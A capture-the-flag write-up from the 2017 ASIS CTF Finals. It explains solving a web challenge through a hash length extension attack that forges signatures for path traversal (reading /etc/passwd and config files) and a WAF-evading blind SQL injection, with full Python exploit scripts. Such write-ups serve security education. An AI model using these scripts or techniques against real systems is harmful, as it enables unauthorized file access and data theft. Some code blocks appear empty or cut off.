Rating: 3.0

# GSA Main Server

The participants were given a portal containing some information and it has some features such as downloading attachments and etc. After spending some time on the task, I notieced a comment in the last line of index.php file:

```

```

Indicating the file has been modified by vim, so I checked `index.php~`, nothing useful but:
```

```
I checked all pages by adding ~ and, `functions.php~` was there:
```
fetch_assoc()){
$rows[] = $row;
}
return $rows;
}

// end
```
On the other side, in portal (*http://178.62.34.76/showInformation/2*) there was an attachment to download:

```
GET /getAttachment/file.txt HTTP/1.1
Host: 178.62.34.76
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Signature: beb2e68c628653c72abcb388b078cfda
X-Requested-With: XMLHttpRequest
Referer: http://178.62.34.76/showInformation/2
Connection: close
```

It had two important parts, filename which was given by URL and `X-Signature: beb2e68c628653c72abcb388b078cfda` which prevented from changing file name:
```
GET /getAttachment/blahblah HTTP/1.1
Host: 178.62.34.76
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Signature: beb2e68c628653c72abcb388b078cfda
X-Requested-With: XMLHttpRequest
Referer: http://178.62.34.76/showInformation/2
Connection: close

Rsponse: Error: Invalid Signature has been given
```

Back to the functions.php, if makeSignature makes the signature, there are two notes:

+ The key cannot be brute forced, because the length was 10 character as mentioned in comment
+ The function was vulnerbale to Hash Length Extension

So I used hashpumpy library to exploit the hole:

```
import requests
import hashpumpy
import urllib
import sys

if len(sys.argv) != 2:
print ''
print '[>] Usage: python {} [path]'.format(sys.argv[0])
print '[>] Example: python {} ../../../../../../etc/passwd'.format(sys.argv[0])
print ''
sys.exit()

new_digest, new_data = hashpumpy.hashpump('beb2e68c628653c72abcb388b078cfda', 'file.txt', '?/' + sys.argv[1] , 32)
new_data_encoded = urllib.quote_plus(urllib.quote_plus(new_data))

print ''
print '[>] New Signature: {}'.format(new_digest)
print '[>] New data: {}'.format(new_data.encode('hex'))
print '[+] Result:'
print ''
print '~~~~~~'

headers = {'X-Signature': new_digest}
response = requests.get('http://178.62.34.76/getAttachment/' + new_data_encoded, headers=headers);
print response.text;

print '~~~~~~'
print ''
```

Result:
![](1.png)

I spent much time here, figured out that two files were important to read:

+ Squid config
+ .htaccess

The htaccess source:

```
RewriteEngine on

RewriteRule simple-php-captcha.php simple-php-captcha.php [L]

RewriteRule showInformation/(.+) /showInformation.php?informationID=$1 [L]
RewriteRule infoSubmit /informationSubmit.php [L]
RewriteRule notConfirmedInformation/(.+) /notConfirmedInformation.php?informationID=$1 [L]
RewriteRule getAttachment/(.+) /getAttachment.php?fileName=$1 [L]
RewriteRule dataSubmitted/(.+) /dataSubmitted.php [L]
RewriteRule adminer-4.3.1-en.php adminer-4.3.1-en.php [L]

#RewriteRule "searchData/(.+)" "http://gsa.dataStorage.domain/0/portalSearch/?searchURL=$1" [L]
#RewriteRule "API/(.+)" "http://gsa.API.domain/api/$1" [L]

RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule . index.php [L]

RewriteCond %{THE_REQUEST} \.php[\ /?].*HTTP/ [NC]
RewriteRule ^.*$ index.php [L]

```

Revealing two new hosts (next questions), and some hidden path such as `notConfirmedInformation/` and etc. `infoSubmit/` path allowed to insert new information and `notConfirmedInformation/` allowed to see the information submitted. After some strugling at this stage, I found that `notConfirmedInformation/{id}` was prone to MySQL injection. However, the injection was tricky because as I deduced:

+ There was two query, first loads the page and second upgrades the view number.
+ The first one was totally secured, the second one had injection though. **The SQLi test was easy**
+ The WAF was annoying, it blocked queries had some keywords such as `union` and replaced some characters such as `space`

###### SQLi test:
http://178.62.34.76/notConfirmedInformation/265940057+and+1=1
http://178.62.34.76/notConfirmedInformation/265940057+and+1=2

Page gets loaded but `Visited` ony upgraded in first request

###### The flag:
Finnaly, I wrote a python code to exploit the injection hole:

```
import requests
import re
import sys

regex = re.compile("Visited: (\d+)</div>")

if len(sys.argv) != 2:
print ''
print '[>] Usage: python {} [id]'.format(sys.argv[0])
print '[>] Example: python {} 265940057'.format(sys.argv[0])
print ''
sys.exit()

qq = "http://178.62.34.76/notConfirmedInformation/{}".format(sys.argv[1])
body = requests.get(qq).text

visited = int(regex.findall(body)[0])

#q = "(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))"
#q = "(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flag'))"
q = "(select(flag)from(flag))"

out = ""
for i in range(1,30):
for c in range(31,126):
qq = "http://178.62.34.76/notConfirmedInformation/"+sys.argv[1]+"-if(ord(mid("+q+","+str(i)+",1))="+str(c)+",0,2)"
#print qq
body = requests.get(qq).text
#print body
visited2 = int(regex.findall(body)[0])

if visited + 1 == visited2:
sys.stdout.write(chr(c))
sys.stdout.flush()
visited = visited2
break
if visited2==visited:
pass
else:
pass
```

The Flag: ASIS{SQLi_sT1lL_Ex1sT5_G0od_j0B}

###### Contact
https://twitter.com/yshahinzadeh

Original writeup (https://github.com/irGeeks/ctf/tree/master/2017-ASIS-CTF-Finals/GSA%20Main%20Server).